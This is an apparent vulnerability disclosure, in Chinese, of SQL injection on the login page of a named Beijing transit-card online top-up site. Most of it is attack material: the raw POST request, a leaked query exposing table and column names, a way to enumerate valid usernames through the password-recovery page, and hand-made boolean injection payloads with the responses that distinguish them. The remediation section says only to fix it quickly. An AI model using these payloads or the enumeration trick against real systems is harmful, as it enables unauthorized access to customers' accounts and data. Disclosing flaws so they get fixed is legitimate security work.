北京市政交通一卡通某站点关键点SQL注入
北京市政交通一卡通网上充值站点登录页 https://www.hzt360.com/login 经fuzzing测试发现有错误信息泄露表字段,手工测试证实可SQL注入。用户名密码有错误次数限制,利用较困难。。。
POST /login HTTP/1.1
Host: www.hzt360.com
Connection: keep-alive
Content-Length: 148
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://www.hzt360.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://www.hzt360.com/login
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: pgv_pvi=1412546560; pgv_si=s4201846784; __utma=266646999.1836555319.1397916462.1397916462.1397916462.1; __utmc=266646999; __utmz=266646999.1397916462.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); AJSTAT_ok_pages=2; AJSTAT_ok_times=1; JSESSIONID=0D524F897A997AAE7522C9079EBC0B1F.tomcat03
needCheckCode=false&customerName=admin&loginPassword=123456&x=113&y=20
对post参数customerName进行sql fuzzing,页面错误信息发现表字段。
Not all named parameters have been set: [0:10] [ select c.* from PUB_CUSTOMER c left join PUB_RC_CANCEL_ACCOUNT ca on c.CUSTOMER_ID = ca.CUSTOMER_ID where ca.CANCEL_ACCOUNT_ID is NULL and (c.CUSTOMER_NAME='1 waitfor delay '0:0:10'--' or c.MOBILE_CODE='1 waitfor delay '0:0:10'--' or c.CARD_NO='1 waitfor delay '0:0:10'--' or c.E_MAIL='1 waitfor delay '0:0:10'--') order by c.REGISTER_DATE desc ]
一个用户名密码错了10次会锁24小时,没法直接用sqlmap,只能手工。。。
1)首先找了几个用户名
# 找回密码页面可查用户名存在与否
https://www.hzt360.com/customer/toChangeCustomerPassword
# 不存在的
# wangxin1
# 存在的
# wang
# wangxin
# wangxing
# loveyou
2)然后各种测试,确定注入语句格式为:
false' or *payload* or 'false'='
下面是手工测试的一些结论
1) 类型1:找到用户,密码不对
# wangxin
# admin
# 用户名或密码错误, 还有x次机会
# false'or c.CUSTOMER_NAME='admin' or 'false'='
# false'or c.CUSTOMER_NAME like 'admin' or 'false'='
# false'or (1 = (select count(*) from PUB_CUSTOMER where PUB_CUSTOMER.CUSTOMER_NAME='admin') and c.CUSTOMER_NAME='admin') or 'false'='
# false'or (1 = 1 AND EXISTS (select * from PUB_CUSTOMER where PUB_CUSTOMER.CUSTOMER_NAME='woaini') and c.CUSTOMER_NAME='woaini') or 'false'='
# 用户名或密码错误,还有x次机会
2)类型2:找不到用户
# wangxin1
# false'or c.CUSTOMER_NAME = 'wangxin1' or 'false'='
# false'or c.CUSTOMER_NAME like 'loveyouCUSTOMER_NAME' or 'false'='
# 用户名/卡号/手机号错误! (猜想是没有返回结果)
验证 1),2)
# 测试length
# false'or (c.CUSTOMER_NAME = 'loveyou' and length(c.CUSTOMER_NAME) = 7) or 'false'='
# 用户名或密码错误,还有x次机会
# false'or (c.CUSTOMER_NAME = 'loveyou' and length(c.CUSTOMER_NAME) = 8) or 'false'='
# 用户名/卡号/手机号错误!
3)类型3:?
# false'or c.CUSTOMER_NAME like 'admin%' or 'false'='
# false'or c.CUSTOMER_NAME like 'wang%' or 'false'='
# false'or c.CUSTOMER_NAME like 'wangxi%' or 'false'='
# false'or c.CUSTOMER_NAME like 'wangxin%' or 'false'='
# false'or c.CUSTOMER_NAME like 'wangggggkkkkkkkk%' or 'false'='
# 用户名不能为空
# false'or (user() like 'o%') or 'false'='
# 用户名不能为空
实在想不清楚,不知道是不是like和%的关系。应该不是这条sql报的
4)类型4:语法错误时
# 字段写错
# 'or c.CLUSTER_NAME = 'wangxin' or 'false'='
# could not execute query
技术有限,只能证明到这...
修复方案:
你们的安全员肯定比我了解,抓紧时间修复吧